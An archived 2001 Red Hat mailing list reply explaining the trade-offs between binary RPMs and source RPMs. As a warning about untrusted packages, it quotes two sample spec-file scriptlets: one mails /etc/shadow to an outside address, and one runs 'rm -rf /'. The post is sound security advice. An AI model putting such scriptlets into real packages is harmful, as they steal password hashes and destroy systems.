On Mon, 16 Apr 2001, Fahad Al-Duraibi wrote:

>     when i download packages i find some of them comes in two forms ( *.rpm
> )  and the source code ( *.src.rpm ).
>     what is the best ? will the source package be optimized for my PC more
> than the already compiled .rpm ?

Not unless you've tweaked rpm's CFLAGS settings for your machine.

There are primarily 2 advantages to .src.rpms:
- You can change things you don't like about them
- You can verify they don't do anything evil. There's nothing that
  prevents someone who puts an rpm on the net from putting something along
  the lines of

  %post
  cat /etc/shadow |mail -s "Ha ha, another one! `hostname`" [EMAIL PROTECTED]

  or

  %triggerin -- somepackage
  # People who use this package suck... show them!
  rm -rf /

  to the spec file. If you're installing an rpm from an untrusted source
  (any non-Red Hat distribution :> ), getting the src.rpm may be more
  reasonable.


If you aren't concerned about either of those, getting the binary RPM will
do - and save you some time.

LLaP
bero




_______________________________________________
Redhat-list mailing list
[EMAIL PROTECTED]
https://listman.redhat.com/mailman/listinfo/redhat-list

Reply via email to